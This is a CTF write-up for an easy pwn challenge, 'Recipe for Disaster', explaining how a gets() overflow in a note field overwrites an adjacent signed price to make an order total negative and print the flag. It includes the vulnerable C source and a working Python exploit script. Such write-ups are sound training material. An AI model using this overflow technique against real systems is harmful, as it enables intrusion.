← Back to Writeups
CUSTOMEasyPwn

Recipe for Disaster

XESXOR9/10/20264 min read
#pwn#custom#easy#gets_exploitation#intra_struct_field_overwrite#little_endian_overwrite#signed_integer_underflow#tls_socket_pwn

Recipe for Disaster

Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn

Summary

Walkthrough of the CUSTOM Pwn Recipe for Disaster. Task: x86-64 food-ordering pwn binary uses gets() to read a chef note into a fixed 32-byte struct field that is directly followed by int price. Solution: overflow note by 4 bytes to set the item's own

Description

Are you hungry? If so, I have this awesome food ordering app for you. I only ask you not to break it.

A food-ordering CLI app. Source challenge.c and a dynamically-linked, non-stripped x86-64 ELF (challenge) with debug info are provided. The remote service is served over TLS and reached with ncat --ssl <host> 443. Goal: trigger the flag-printing path.

Analysis

The relevant struct and logic from challenge.c:

c
typedef struct {
  char item[32];   // offset 0
  char note[32];   // offset 32
  int  price;      // offset 64
} Item;

void verify_total(int total) {
  if (total < 0) {                    // <-- win condition
    puts("[SYSTEM] Pricing error detected! ...");
    print_coupon();                   // opens and prints /flag
    exit(0);
  }
  ...
}

void take_order(void) {
  Item order[10];
  ...
  strncpy(cur->item, MENU[choice-1].name, sizeof(cur->item)-1);
  cur->price = MENU[choice-1].price;
  printf("Any note for the chef? ...\n> ");
  gets(cur->note);                    // VULN: unbounded write into note[32]
  ...
  int total = calculate_total(order, n_items);
  verify_total(total);                // total += each item's price
}

Key observations:

  1. Win path. verify_total(total) calls print_coupon() (which reads and prints /flag) only when total < 0. total is a signed int, the sum of each ordered item's price.
  2. The bug. gets(cur->note) is an unbounded write into the 32-byte note field. This is the classic gets() overflow — but here it does NOT need to reach the saved return address.
  3. Struct adjacency. Inside the same Item, int price sits immediately after char note[32] (struct offset 64). Writing 32 bytes to fill note plus 4 more bytes overwrites this item's own price — an intra-struct field overwrite, not a stack-smash.
  4. Sign trick. price is a signed int. Setting it to 0x80000000 makes it -2147483648. With a single item, the running total becomes negative, satisfying total < 0.
  5. Theme / red herring. The source comment about an intern worrying "the sum might overflow" and menu items named after CTF vuln classes are flavor: the real primitive is the field overwrite, and we make the total negative directly rather than via summation overflow. gets reads until newline, so embedded NUL bytes in 0x80000000 are fine.

So: order one item, give a 36-byte note that fills note[32] and overwrites price with little-endian 0x80000000, finish the order. No ROP, no canary leak, no stack pivot.

Solution

Steps against the menu-driven program:

  1. Order item 1 → send 1.
  2. For the note, send b"A"*32 + b"\x00\x00\x00\x80" — 32 bytes fill note, the next 4 bytes land on price (little-endian 0x80000000 = -2147483648).
  3. Finish ordering → send 0.
  4. Receipt prints TOTAL $-2147483648, then [SYSTEM] Pricing error detected!, then print_coupon() leaks /flag.

The service is TLS-wrapped, so we wrap a raw socket with Python's ssl (no pwntools needed). The standard alternative is pwntools remote(host, 443, ssl=True) or ncat --ssl host 443.

python
#!/usr/bin/env python3
import ssl, socket

HOST = "<remote host>"
PORT = 443

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)


def recv_until(token: bytes, timeout: float = 5.0) -> bytes:
    s.settimeout(timeout)
    buf = b""
    try:
        while token not in buf:
            chunk = s.recv(4096)
            if not chunk:
                break
            buf += chunk
    except socket.timeout:
        pass
    return buf


# 1) order item 1
recv_until(b">")
s.sendall(b"1\n")

# 2) note overflow: 32 bytes fill note[32], next 4 bytes set price = 0x80000000 = -2147483648
recv_until(b">")
s.sendall(b"A" * 32 + b"\x00\x00\x00\x80" + b"\n")

# 3) finish ordering -> TOTAL goes negative -> verify_total(total < 0) -> print_coupon() -> /flag
recv_until(b">")
s.sendall(b"0\n")

print(recv_until(b"GPNCTF{").decode(errors="replace"))
print(s.recv(4096).decode(errors="replace"))

Running it yields the receipt with TOTAL $-2147483648, the pricing-error message, and the flag.

Key Takeaways / Lessons

  • Mastering gets_exploitation, intra_struct_field_overwrite, little_endian_overwrite, signed_integer_underflow, tls_socket_pwn was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2024-05-30 • CUSTOM • Recipe for Disaster • Difficulty: Easy